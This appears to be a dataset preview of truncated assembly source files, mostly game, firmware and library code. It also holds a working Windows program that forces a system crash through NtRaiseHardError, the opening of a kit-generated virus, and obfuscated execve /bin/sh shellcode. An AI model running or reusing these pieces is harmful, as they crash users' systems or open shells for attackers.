content stringlengths 23 1.05M |
|---|
format binary
BASE = 0x7c00; That's where code is loaded by BIOS.
LF = 10 ; Line feed.
CR = 13 ; Carriage return.
B = 219 ; Full block.
S = 32 ; Space.
macro _put destination*, source* {
mov [destination+BASE], source
}
macro _get destination*, source* {
mov destination, [source+BASE]
}
... |
.class Test:Obj
.field x
.method $constructor
.args x
enter
load x
load $
store_field $:x
return 1
.method Seven
.args seven
enter
load seven
load $
store_field $:x
return 1
|
; Test case:
ld de, #array1
ld hl, #array2
ld bc, #0x0004
ldir
ld a,b
ld hl, #-9
ld bc, (#array1 + 1)
ld hl, #(array2 + 0x0003)
ld ((array2 + 0x0008)), de
00105$:
jr 00105$
array1:
.byte 0,0,0,0
array2:
.byte 0,0,0,0
|
* = $1000
mode = 0
test = 0
multi = 0
jmp init
dowork:
lda word_ready
bne read_next_char
ldx sentence_pos
readaddr:
lda $ffff,x
cmp #$ff
bne sentence_not_done
lda #1
sta is_done
rts
sentence_not_done:
asl
tax
lda wordlist, x
sta current_word
lda wordlist+1, x
sta current_word+1
inc ... |
format PE GUI
include 'win32a.inc';
mov eax,enabled
invoke RtlAdjustPrivilege,19,1,0,eax
invoke NtRaiseHardError,0xc000000A,0,0,NULL,6,retval
retn
retval dw ?
enabled dd ?
data import
library ntdll, 'ntdll.dll'
import ntdll,\
RtlAdjustPrivilege,'RtlAdjustPrivilege',\
NtRaiseHardError,'Nt... |
.ORIG x3000
;Initialize our stack pointer
LEA R6, SP
LDR R6, R6, #0
;Initialize Our X and Y Coordinates
AND R2, R2, #0
AND R3, R3, #0
ADD R2, R2, #4
ADD R3, R3, #7
GAME_LOOP
;Call R0 = UserInput()
LD R5, UserInput
JSRR R5
;--------------------------
; Call Move
LD R5, ... |
; Record move
/*
@moveRECORD
*/
.proc @moveRECORD (.word ya) .reg
sta :bp2
sty :bp2+1
ldy #1
lop lda @buf-1,y
cmp #eol
beq exit
sta (:bp2),y
iny
bne lop
exit dey
tya
ldy #0
sta (:bp2),y
rts
.endp
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1994 -- All Rights Reserved
PROJECT: Clavin
MODULE: Message
FILE: messageList.asm
AUTHOR: Adam de Boor, May 17, 1994
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name ... |
; AtieDOS 2.10 Echo Command
; Copyright (c) 2020 AtieSoftware.
; See LICENSE in root folder
command_echo:
xor ax, ax
mov ds, ax
mov es, ax
call os_command_init
mov si, 1
xor di, di
mov di, .MSG
.get_input:
cmp si, 99
je .no_more
call os_keystroke
cmp ah, [KEY_EN... |
SECTION code_psg
PUBLIC ay_wyz_stop
PUBLIC _ay_wyz_stop
EXTERN asm_wyz_stop
defc ay_wyz_stop = asm_wyz_stop
defc _ay_wyz_stop = ay_wyz_stop
|
; Write a constant value to an IO port in 3 cycles.
; - The address to which to write.
; - A r* to clobber.
; - The value to store.
.macro out_immediate
ldi @1, @2
out @0, @1
.endm
|
mov ax, 0xb800
mov ds,ax
mov byte [0x00], 'a'
mov byte [0x02], 's'
mov byte [0x04], 'm'
jmp $
|
;================================================================================
; Frame Hook
;--------------------------------------------------------------------------------
FrameHookAction:
JSL $0080B5 ; Module_MainRouting
JSL CheckMusicLoadRequest
PHP : REP #$30 : PHA
SEP #$20
LDA StatsLocked : BNE ++
... |
ORG $0000
DATO RMB 1
ORG $8000
LDAB DATO
ANDB #3
BNE
SI LDAA #1
BRA FIN
NO LDAA #0
BRA FIN
FIN BRA FIN |
@ifndef ARCH_ASM
@define ARCH_ASM
; ARCHITECTURE CONSTANTS
; SPECIAL MEMORY ADDRESSES
@define ADDR_ROM 0x0000
@define ADDR_BANK 0x8000
@define ADDR_RAM 0xC000
@define ADDR_STACK 0xFEFF
; SPECIAL MEMORY-MAPPED REGISTERS
@define ADDR_MB 0xFFFA
@define ADDR_SP 0xFFFC
@define ADDR_SPL 0xFFFC
@define ADDR_SPH 0xFFFD... |
;
; ABC800 Routines
;
; getk() Read key status
;
; Oct 2007 - Stefano Bodrato
;
;
; $Id: getk.asm,v 1.1 2007/11/08 14:11:51 stefano Exp $
;
XLIB getk
.getk
call 2
ld l,a
ld h,0
ret
|
gameOver::
call moveSprites
ld hl, SPRITES_BUFFER + $19
ld d, 0
ld a, [NB_SPIKES]
sub c
sla a
sla a
ld e, a
add hl, de
ld a, b
ld [hl], a
call random
and 1
ld de, PLAYING_MUSICS
jr z, .playAlarm2
ld hl, AlarmOneTheme
jr .start
.playAlarm2:
ld hl, AlarmTwoTheme
.start:
call startMusic
.loop:
halt
... |
;--------------------------------------------------------
; Category 7 Function 67 Get pointer screen position
;--------------------------------------------------------
;
;Indicates the Current Pointer Screen Position
;Parameter Packet Format
;None
;Data Packet Format
;Field Length
;Row Position WORD
;Column Positio... |
%ifdef CONFIG
{
"RegData": {
"XMM1": ["0x01d700f201dd018b", "0x021b012d00ec015b"],
"XMM2": ["0x021b01ea0147019c", "0x017900fb00d801d9"],
"XMM3": ["0x010500e801000153", "0x011a015f01530171"],
"XMM4": ["0x019c0124018f014d", "0x011f0100011e0116"],
"XMM5": ["0x0136007e009d01e0", "0x02a802c80245019d"],... |
SECTION code_fp_math16
PUBLIC mul2f16
EXTERN asm_f16_mul2
defc mul2f16 = asm_f16_mul2
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _mul2f16
EXTERN cm16_sdcc_mul2
defc _mul2f16 = cm16_sdcc_mul2
ENDIF
|
; 03.2022 stefano
; int set_mz800_vmode()
SECTION code_clib
PUBLIC set_mz800_vmode
PUBLIC _set_mz800_vmode
set_mz800_vmode:
_set_mz800_vmode:
LD A,L
OUT (0xCE),A
RET
|
EMSF_EXISTS EQU 01h ; EMS exits.
EMSF_LIM_40 EQU 02h ; LIM 4.0 is available.
EMSF_LIB_CODE EQU 04h ; Library code segs above the line.
EMSF_DATA_ABOVE EQU 08h ; Task data segments above the line.
EMSF_RESOURCES_ABOVE EQU 10h ; Task resources above the line.
EMSF_SEARCH_PID_STACKS EQU 20h ; PatchStack search th... |
bits 32
%define CACHE_SIZE 32
%define MAXHEIGHT 1024
%define DPS_MAXSPANS MAXHEIGHT+1
%define spanpackage_t_size 32
%define SPAN_SIZE (((DPS_MAXSPANS + 1 + ((CACHE_SIZE - 1) / spanpackage_t_size)) + 1) * spanpackage_t_size)
D_PolysetDraw:
sub esp,SPAN_SIZE
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Geoworks 1994 -- All Rights Reserved
PROJECT: Condo viewer
MODULE: context controller
FILE: ctxtcontrolControl.asm
AUTHOR: Jonathan Magasin, Jun 15, 1994
ROUTINES:
Name Description
---- -----------
... |
; TABOO.ASM -- Taboo Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Virucidal Maniac
virus_type equ 2 ; Spawning Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start labe... |
global lock_acquire
global lock_release
lock_acquire:
lock bts dword [rdi], 0
jc .spin
ret
.spin:
pause
test dword [rdi], 1
jnz .spin
jmp lock_acquire
lock_release:
mov dword [rdi], 0
ret |
; ex-1.asm
; Minus first char with second char, display result in ASCII.
; Assume: 1st char ALWAYS > 2nd char
.MODEL SMALL
.STACK 100
.DATA
IPONE DB "Enter 1st character: $"
IPTWO DB "Enter 2nd character: $"
MINUS DB " - $"
EQUAL DB " = $"
QUO DB ?
REM DB ?
CH1 DB ?
CH2 DB ?
... |
; Listing generated by Microsoft (R) Optimizing Compiler Version 18.00.40629.0
TITLE C:\Users\cex123\Desktop\FYP\develop\spartan\Source\Kernel\Thread\Loader\ExeLoader.c
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB OLDNAMES
PUBLIC ??_C@_07OHILBPAE@System?1?$AA@ ; `string'
PUBLIC ??_C@_05FM... |
org 0x500
jmp 0x0000:start
;como o endereço dado para o kernel é 0x7e00, devemos
;utilizar o método de shift left (hexadecimal)
;e somar o offset no adress base, para rodarmos o kernel.
runningKernel db 'Rodando Kernel...', 0
print_string:
lodsb
cmp al,0
je end
mov ah, 0eh
mov bl, 15
int 10... |
;
; Plotting in tilemap mode
;
IF FORzxn
SECTION code_graphics
PUBLIC xor_MODE64
xor_MODE64:
defc NEEDxor = 1
INCLUDE "pixel_MODE64.inc"
ENDIF
|
;===============================================================================
; BASIC Loader
*=$0801 ; 10 SYS (2064)
byte $0E, $08, $0A, $00, $9E, $20, $28, $32
byte $30, $36, $34, $29, $00, $00, $00
; Our code starts at $0810 (2064 decimal)
; after the 15 bytes for the BA... |
; Top-hole Golf
; Copyright 2020-2021 Matthew Clarke
; *****************
; *** CONSTANTS ***
; *****************
titles_c_SPR_BASE = 80
titles_c_SPR_PLAYERS0 = titles_c_SPR_BASE
titles_c_SPR_PLAYERS1 = titles_c_SPR_BASE+1
titles_c_SPR_SETTINGS0 = titles_c_SPR_BASE+2
titles_c_SPR_SETTINGS1 = titles_c_SPR_BASE+3
... |
Name: ys_w33.asm
Type: file
Size: 18108
Last-Modified: '2016-05-13T04:51:43Z'
SHA-1: 67A1A6B12DFA0593D3AD658D65F498AB86AC5576
Description: null
|
// Licensed to the Apache Software Foundation (ASF) under one or more
// contributor license agreements. See the NOTICE file distributed with
// this work for additional information regarding copyright ownership.
// The ASF licenses this file to You under the Apache License, Version 2.0
// (the "License... |
db "SEA LION@" ; species name
dw 307, 1980 ; height, weight
db "The light blue fur"
next "that covers it"
next "keeps it protected"
page "against the cold."
next "It loves iceberg-"
next "filled oceans.@"
|
restart:
.10h:
.18h:
.20h:
.28h:
.30h:
ret
|
SFX_Enter_PC_3_Ch1:
duty 2
unknownsfx0x20 4, 240, 0, 7
unknownsfx0x20 4, 0, 0, 0
unknownsfx0x20 4, 240, 0, 7
unknownsfx0x20 1, 0, 0, 0
endchannel
|
; *****************************************************************************
; *****************************************************************************
;
; Name: tokeniser.asm
; Purpose: Coloured ASCII -> Tokenised code
; Created: 12th March 2020
; Reviewed: 17th March 2020
; Author: Paul Robson (paul@r... |
;
; Amstrad CPC library
;
; ******************************************************
; ** Librería de rutinas para Amstrad CPC **
; ** Raúl Simarro, Artaburu 2009 **
; ******************************************************
;
; void cpc_PrintGphStrM12X(char *, unsigned int address)... |
ld a, 102
ld d,a
ld e,a
ld (basescradr + #0a8a), de
ld (basescradr + #0e89), de
ld (basescradr + #02cd), a
ld (basescradr + #02cf), a
ld (basescradr + #02ec), a
ld (basescradr + #06ad), a
ld (basescradr + #06cd), a
ld (basescradr + #06ec), a
ld (basescradr + #06ee), a
ld (basescradr + #0a2b), ... |
;
; Get the OSCA Architecture current bank
; by Stefano Bodrato, 2011
;
; void set_bank(int bank);
;
; Sets which of the 32KB banks is mapped into address space $8000-$ffff
; bank = required bank (range: 0 - max_bank)
;
; $Id: set_bank.asm,v 1.3 2012/03/08 07:16:46 stefano Exp $
;
INCLUDE "flos.def"
XLIB set_ba... |
;------------------------------------------------------------------------------
;
; Copyright (c) 2006 - 2010, Intel Corporation. All rights reserved.<BR>
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
; Module Name:
;
; WriteIdtr.Asm
;
; Abstract:
;
; AsmWriteIdtr function
;
; Notes:
;
;----------... |
global _start
section .text
_start:
xor eax,eax
push eax
mov al,10
inc eax
; xor edx,edx
; push edx
;push dword 0x68732f2f
mov ebx, 0x11111111
mov ecx, 0x57621e1e
add ecx,ebx
push ecx
push dword 0x6e69622f
mov ebx, esp
xor ecx, ecx
int 0x80
|
; void *sp1_PreShiftSpr(uchar flag, uchar height, uchar width, void *srcframe, void *destframe, uchar rshift)
SECTION code_clib
SECTION code_temp_sp1
PUBLIC _sp1_PreShiftSpr_callee, l0_sp1_PreShiftSpr_callee
EXTERN asm_sp1_PreShiftSpr
_sp1_PreShiftSpr_callee:
exx
pop bc
exx
pop hl
ld h,l
pop ... |
copyright zengfr site:http://github.com/zengfr/romhack
00A2C6 dbra D0, $a2c0
00A382 dbra D0, $a37c
00A6BA clr.b ($98,A6)
00A6BE clr.w ($a2,A6)
00A86E clr.b ($98,A6)
00A872 move.w ($18,A6), ($1a,A6)
00BDE4 clr.w ($a2,A6)
00BE80 moveq #$1, D0
00BEB6 move.b #$2, ($42,A6) [1p+98]
00CF00 ... |
;--------------------------------------------------------------------
; Praktikum SMD 2015
; M.Wahyudin (140310120031)
;
; Name : LATIH11.ASM Penyesuaian
; Desc : Membaca penekanan keypad 4x3 (7pin)
; Metode polling dan scanning kolom
; Input : Keypad di P3
; Output: LED di P1
; 4-display segmen di P2... |
Music_YellowIntro_Ch1::
tempo 116
volume 7, 7
duty 3
vibrato 8, 1, 4
notetype 12, 11, 2
octave 3
G# 2
B_ 4
B_ 4
B_ 4
B_ 4
B_ 4
B_ 3
A# 1
B_ 2
B_ 10
notetype 12, 11, 6
octave 4
C# 1
C_ 1
C# 10
octave 3
G# 1
G_ 1
G# 4
B_ 4
octave 4
E_ 4
F# 8
E_ 8
octave 3
A_ 4
B_ 4
octave 4
C# 4
octave... |
;--- Win64 console application with exception handler, uses WinInc v2+
;--- assemble: jwasm -c -win64 -Zp8 Win64_5.asm
;--- link: link /subsystem:console /Libpath:\WinInc\Lib64 Win64_5.obj
option casemap:none
option frame:auto
.nolist
.nocref
WIN32_LEAN_AND_MEAN equ 1
include \WinInc\Include\wind... |
;
; start.asm
;
; Entry point for Kernel. Taken from: http://wiki.osdev.org/Bare_Bones_with_NASM
;
; Declare constants used for creating a multiboot header.
MBALIGN equ 1<<0 ; align loaded modules on page boundaries
MEMINFO equ 1<<1 ; provide memory map info
FLAGS ... |
* Spreadsheet 29/11-91
* - main control
*
section prog
include win1_keys_qdos_sms
include win1_keys_sys
include win1_mac_oli
include win1_keys_err
include win1_spread_keys
include win1_keys_wstatus
xdef kill,rep_error,jobstart
xref cfg_colmn,cfg_rows,cfg_cwdt
xref cfg_stcr... |
#include "6502.cpu"
#include "ines_nrom.asm"
#include "nes.asm"
#bank "zeropage"
varTimer: #res 1
varPaletteIndex: #res 1
#bank "prg"
reset:
; disable IRQs and decimal mode
sei
cld
; disable APU frame IRQ
ldx #0x40
stx APU_FRMCNTR
; set up stack
ldx #0xff
txs
; disable NMI
inx
stx PPU_CTRL
;... |
; Platform initialisation code
;
SECTION code_clib
PUBLIC cpm_platform_init
cpm_platform_init:
; In the generic case there's nothing to do
ret
|
; 实验4 1) 将 0:200~0:23F 传送数据 0~63(3FH)
; 分析 0:200 = 20:0
assume cs:code
code segment
mov ax, 20h
mov ds, ax
mov ax, 0
mov sp, ax
mov bx, 0
mov cx, 40h
s: mov [bx], bx
inc bx
loop s
mov ax, 4c0h
int 21h
code ends
end
;;; 错误分析
;1. 没有分析数据 字节,都是 1个自己的应该用 高低寄... |
.586
.model flat
.code
_conta_vocali_consonanti proc
push ebp
mov ebp,esp
push esi
push edi
push ebx
mov ebx, dword ptr[ebp+8] ;arr
; unsigned char !
mov al, byte ptr [ebx]
cmp al, 0
je fine
mov esi, 0d
mov edi, 0d ; vow
mov ecx, 0d ; cons
mov edx, 0d ; symbols
mov eax, 0d ; min counter
; ABOVE & BELOW UNSIGNED
;... |
.ClearStars
; select table of star addresses for high or low screen depending on current
; working screen and point to with hl
ld a,(base_addr+1)
bit 6,a
jr z,StarClearLow
ld hl,StarsHigh
jr StarClearSkipLow
.StarClearLow
ld hl,StarsLow
.StarClearSkipLow
ld bc,&a0a ; c = star byte
; there ar... |
%ifdef CONFIG
{
"RegData": {
"RAX": "0xFFFFFFFFFFFFFFFE",
"RBX": "4",
"RCX": "4",
"RDX": "0xFFFFFFFE",
"RSI": "1",
"RDI": "1"
}
}
%endif
; Test low
mov rbx, 2
mov rdx, 2
mulx rax, rbx, rbx
; Test high
mov rcx, -1
mov rdx, -1
mulx rax, rdi, rcx
; 32-bit
; Test low
mov ecx, 2
m... |
; ZX Implementation of the hardware out for VortexTracker/z80
SECTION code_psg
PUBLIC asm_vt_hardware_out
PUBLIC asm_vt_hardware_out_A0
EXTERN asm_VT_AYREGS
asm_vt_hardware_out:
XOR A
asm_vt_hardware_out_A0:
ROUT_A0:
LD DE,$f5f6
LD BC,$f5
LD HL,asm_VT_AYREGS
LOUT:
OUT (C)... |
; Ti82 interrupt loader - by Henk Poley
; Based upon several sources, uses APD_BUF to put the IV-table and interrupt
;-----------------------------------------------------------------------------
; You only need to have an interrupt marked with IntProcStart
; at the beginning, and IntProcEnd at the end of your interru... |
; GTIA Write
HPOSP0 equ $d000
HPOSP1 equ $d001
HPOSP2 equ $d002
HPOSP3 equ $d003
HPOSM0 equ $d004
HPOSM1 equ $d005
HPOSM2 equ $d006
HPOSM3 equ $d007
SIZEP0 equ $d008
SIZEP1 equ $d009
SIZEP2 equ $d00a
SIZEP3 equ $d00b
SIZEM equ $d00c
GRAFP0 equ $d00d
GRAFP1 equ $d00e
GRAFP2 equ $d00f
GRAFP3 equ $d010
G... |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: GeoDex
MODULE: Misc
FILE: miscTopColorBitmap.asm
AUTHOR: Ted H. Kim, 2/6/90
REVISION HISTORY:
Name Date Description
---- ---- -----------
ted 2/6/90 Ini... |
org $15B3E4 ; Routine to hack
nop #2 ; Always shows chocobo |
;file: double-hardware-gen-check.asm
;double intel hardware random number generator gates grants permission to leave.
;typical execution time: 0.085 s
format ELF64
section '.text' executable
public main
main:
mov rbp, rsp; for correct debugging
rdrand eax
cmp eax, 0xDEADBEEF
jg perm
jmp main
... |
;;#############################################################################
;; FILE: CLAatan.asm
;;
;; DESCRIPTION: CLA arctan function
;;
;; Group: C2000
;; Target Family: C28x+CLA
;;
;;#############################################################################
;; $TI Release: CLA Math Library 4.... |
LDX WORD_COUNT,1
LOOP:
TIX LOOP_END,1
STX TMP,1
LDA TMP
TCA
STA TMP
LDA PX_COLOR
WWD {0} TMP
BRU LOOP
LOOP_END:
HLT
TMP BSS 1
VAR BSS 1
WORD_COUNT BSC -30720
PX_COLOR BSC 18724 // Binary 0100 1001 0010 0100 (red for each of 5 pixels)
END |
include "equs.inc"
; (char to print) this function is written to only use jr instructions to make it be relocatable code
fputc_cons_rom_rst:
ld hl, 2
add hl, sp
ld b, (hl)
ld hl, skip_count
ld a, (hl)
and a
ld a, b
jr nz, not_cont
cp 10
jr z, lf
cp 22 ;move to
jr z, posn
cp 07
jr z, beep... |
; ===============================================================
; Mar 2014
; ===============================================================
;
; size_t bv_stack_size(bv_stack_t *s)
;
; Return number of items in stack.
;
; ===============================================================
SECTION code_clib
SECTION cod... |
.ifndef _ADC_ASM_
.define _ADC_ASM_
_adc_enable:
ldi r18,(1 << ADEN)
out ADCSRA,r18
ret
;**************************************************************
;* subroutine: _adc_read (reads adch into r18)
;*
;* output: r18 (ADCH)
;*
;* registers modified: r18
;*********************************************************... |
.loadtable "data/flyover-table.tbl"
db 02h, 01h
db 01h, 4Ch
.str "The year is 199X\n" |
; RS232 input service routine
RS232_I:LD HL,SERFL
LD A,(HL)
AND A
JR RS232_R
LD (HL),0
INC L
LD A,(HL)
SCF
RET
; Read byte from RS232
RS232_R:CALL BREAK
DI
LD HL,(BAUD)
LD BC,$FFFD
LD A,$0E
OUT (C),A
IN A,(C)
OR $F0
AND $FB
LD D,A ; store output lines
LD B,$BF
OUT (C),A ; CTS low, Clear To Send
L... |
; this code will be placed at 0x10000 in memory and after jumping
; into 32 bit mode we will call 0x10000 (this code) to start executing kernel.c
global _start;
[bits 32]
;_start:
[extern _enter]
;pop eax ; data
;pop ebx ; code
push esp
call _enter
jmp $ |
;------------------------------------------------------------------------------
;
; CpuSleep() for AArch64
;
; Copyright (c) 2006 - 2009, Intel Corporation. All rights reserved.<BR>
; Portions copyright (c) 2008 - 2009, Apple Inc. All rights reserved.<BR>
; Portions copyright (c) 2011 - 2013, ARM LTD. All rights reserv... |
org $008994 ; Routine to hack
JMP $FD31 ; Jump to custom code
nop #3 ; Delete code until $00899A
|
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Studio
FILE: UI/uiManager.asm
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 2/92 Initial version
DESCRIPTION:
This ... |
%ifidn __OUTPUT_FORMAT__, bin
msg_format: db 'This is binary format file'
%elifidn __OUTPUT_FORMAT__, elf32
msg_format: db 'This is elf32 format file'
%elifidn __OUTPUT_FORMAT__, elf64
msg_format: db 'This is elf64 format file'
%elifidn __OUTPUT_FORMAT__, macho32
msg_format: db 'This is macho32 format file'
%elifid... |
frame 1, 06
setrepeat 5
frame 2, 03
frame 3, 03
dorepeat 2
frame 2, 35
endanim
|
// COMMAND #0A: BOOTSTRAP THE SYSTEM
@256 // set the start of the stack to addr 256
D=A // store the current address as a value
@SP // write value of D to "SP"
M=D // write value of D to current location
// COMMAND #0B: CALL Sys.init
@Sys.init$ret.2
D=A ... |
section .data
color_red: db 1Bh, '[31;1m', 0
.len equ $ - color_red
; white
color_default: db 1Bh, '[37;1m', 0
.len equ $ - color_default
global printAsm
section .text
printAsm:
; eax points to the str
; ebx is the color
; ebx=0 => default
; ebx=1 => red
mov eax, [esp+4]
... |
#Demonstrates reading a float
.text
la $a0, prompt #Loads starting address of prompt string to $a0
li $v0, 4 #Sets the syscall code for printing a string
syscall
li $v0, 6 #Sets the syscall code for reading a float
syscall
la $a0, output #Loads starting address of output string to $a0
li $v0, 4 #Sets the... |
;*****************************************************************************
;* cabac-a.asm: h264 encoder library
;*****************************************************************************
;* Copyright (C) 2008 x264 project
;*
;* Author: Loren Merritt <lorenm@u.washington.edu>
;* Jason Garrett-Glaser <dar... |
SECTION code_fp_math32
PUBLIC asm_f32_fam9511, asm_fam9511_f32
;-------------------------------------------------------------------------
; f32_fam9511 - z80 format conversion code
;-------------------------------------------------------------------------
;
; convert am9511 float to IEEE-754 float
;
; enter : DEHL ... |
;Name: cookies.asm
;
;Build: nasm -felf64 cookies.asm -o cookies.o
; ld -s -melf_x86_64 -o cookies cookies.o
;
;Description: set cookies
; Send cookies to web client demo
bits 64
[list -]
%include "unistd.inc"
[list +]
section .data
cookies:
db "Set-Cookie:UserID=XY... |
; Chapter 7
; 7.9.2 Suggested Projects
; 5) Create a program to compute various unsigned
; double-dword arithmetic expressions
; ***********************************
; Data declarations
section .data
; operands
dNum1 dd 2500000
dNum2 dd 1250000
dNum3 dd 55000
d... |
; Marcel Jarosz, ARKO 2020L, x86_1, Final version
; EAN-13 Barcode Generator
SECTION .DATA
encoding: db "AAAAAAAABABBAABBABAABBBAABAABBABBAABABBBAAABABABABABBAABBABA", 60, 0
a_code: db "0001101001100100100110111101010001101100010101111011101101101110001011", 70, 0
b_code: db "0100111011001100110110100001001... |
[bits 16]
; vbe_set_mode:
; Sets a VESA mode
; In\ AX = Width
; In\ BX = Height
; In\ CL = Bits per pixel
; Out\ FLAGS = Carry clear on success
%include "src/long_mode/print_rm.asm"
vbe_set_mode:
mov dword [vbe_info_block], VBE2_SIGN
mov [width], ax
mov [height], bx
mov [bpp], cl
sti
push ... |
%include "init.nasm"
%include "sseutils64.nasm"
section .data
f equ 8 ; matrice f -> rdi
n equ 16 ; rows -> rsi
m equ 24 ; cols -> rdx
s equ 32 ; soglia -> xmm0
dim equ 4 ; dimensione ogni locazione
section .bss
section .text
global sogliatura
sogliatura: go
imul rsi,rdx ;rsi=n*m
xor rbx,rbx
;movss xm... |
;
; Old School Computer Architecture - SD Card driver
; Taken from the OSCA Bootcode by Phil Ruston 2011
; Port by Stefano Bodrato, 2012
;
; int sd_read_sector(struct SD_INFO descriptor, long sector, unsigned char *address);
;
; sd_card_info and card_select must be accessible,
; a good place to put them is in the vars... |
;------------------------------------------------------------------------------ ;
; Copyright (c) 2009 - 2017, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distri... |
extern puts
extern printf
extern scanf
extern sprintf
global main
section .bss
loop_counter: resb 4
section .text
main:
_main:
sub rsp, 8
mov dword[loop_counter], 3
.send_loop:
xor al, al
mov rdi, short_upperfmt
mov rsi, [loop_counter]
call prin... |
// Assembler: KickAssembler 4.4
// jumping text
.var irq_line = $d0
.var scr_clear_char = ' '
.var scr_clear_color = $0f
.var screen = $400
.var colram = $d800
.var jump_start_row = 2
.var jump_start_col = 10
.var jump_rows = 14
.var jump_start = screen + jump_start_row * 40 + jump_start_col
.var jump_start_colra... |
stx $ff
sec
lda {c1},y
sbc $ff
sta {c1},y
lda {c1}+1,y
sbc #0
sta {c1},y
|
.MODEL SMALL
.STACK 100H
.DATA
PROMPT1 DB 10, 13, "Enter a string: $"
PROMPT2 DB 10, 13, "Length: $"
STR1 DB 10 DUP('$')
.CODE
MAIN PROC
MOV AX, @DATA
MOV DS, AX ;DATA SEGMENT INITIALIZATION
MOV ES, AX ;EXTRA SEGMENT INITIALIZATION SO STRING INTRUCTIONS CAN USE ES:DI
LEA DX, PROMPT1
MOV AH, 09H
INT 2... |
* Sprite date
*
* Mode 4
* +|-----------+
* -w w www -
* |ww w w |
* |w r ww ww w|
* |w rr w w ww|
* |w r w r w|
* |w rrrw r r w|
* |w w r w|
* |wwwwww rrr w|
* | w w|
* | wwwwwww|
* +|-----------+
*
section sprite
xdef mes_date
xref mes_zero
mes_date
dc.w $0100,$0000
dc.w 12,10,0,0
... |
section .text
global lovefunc
section .text
lovefunc: ; int lovefunc(int flower1, int flower2)
; input: edi = flower1, esi = flower2
; output: al (1 for true, 0 for false)
mov al, dil
add al, sil
and al, 1
ret
; end of lovefunc
|
.alias STATUS 1
.alias INTCON 2
.org 0
goto init
.org 4
retint
.org 5
main:
; test addition and subtractioin
set 25 ; 5
put 0x21 ; 6
set 5 ; 7
add 0x21 ; 8
subl 30 ; 9
skeqz ; 10
goto error ; 11
set 0xff ; 12
addl 1 ; 13
skbs STATUS 1 ; 14
g... |
MODULE m5_crt0
defc crt0 = 1
INCLUDE "zcc_opt.def"
EXTERN _main
PUBLIC cleanup
PUBLIC l_dcal
PUBLIC msxbios
; Always use the generic console unless overridden
defc TAR__fputc_cons_generic = 1
defc CONSOLE_COLUMNS = 32
d... |
;
; interrupt.s -- Contains interrupt service routine wrappers.
; Based on Bran's kernel development tutorials.
; Rewritten for JamesM's kernel development tutorials.
; This macro creates a stub for an ISR which does NOT pass it's own
; error code (adds a dummy errcode byte).
%macro ISR_N... |
;Bubble sort procedure BBLSORT.ASM
; Objective: To implement the bubble sort algorithm.
; Input: A set of nonzero integers to be sorted.
; Input is terminated by entering zero.
; Output: Outputs the numbers in ascending order.
%define CRLF 0DH,0AH
MAX_SIZE EQU 20
%include "io.mac"
.DATA
pr... |
; Z - Zero is set to 1 since the result is 0
; If there is even no. of 1 bits in the accumulator then it is set to 1
; If there is odd no. of 1 bits then it is set to 0
MVI A, 09H
SUI 03H
HLT |
BITS 16
CPU 8086
%include "impl/bpb.asm"
%include "impl/ebr.asm"
showchar:
mov ah, 0Eh ; BIOS character display
mov al, 'G'
int 10h
mov al, 'i'
int 10h
mov al, 't'
int 10h
mov al, ' '
int 10h
mov al, 'G'
int 10h
mov al, 'u'
int 10h
mov al, 'd'
int 10h
blerb:
jmp short blerb
%include "impl/ebr_tail.asm"
|
SpriteMovementData::
; entries correspond to SPRITEMOVEDATA_* constants
; SPRITEMOVEDATA_00
db SPRITEMOVEFN_00 ; movement function
db DOWN ; facing
db OBJECT_ACTION_STAND ; action
db WONT_DELETE ; flags1
db 0 ; flags2
db 0 ; palette flags
; SPRITEMOVEDATA_STILL
db SPRITEMOVEFN_STANDING ; movement function
db ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.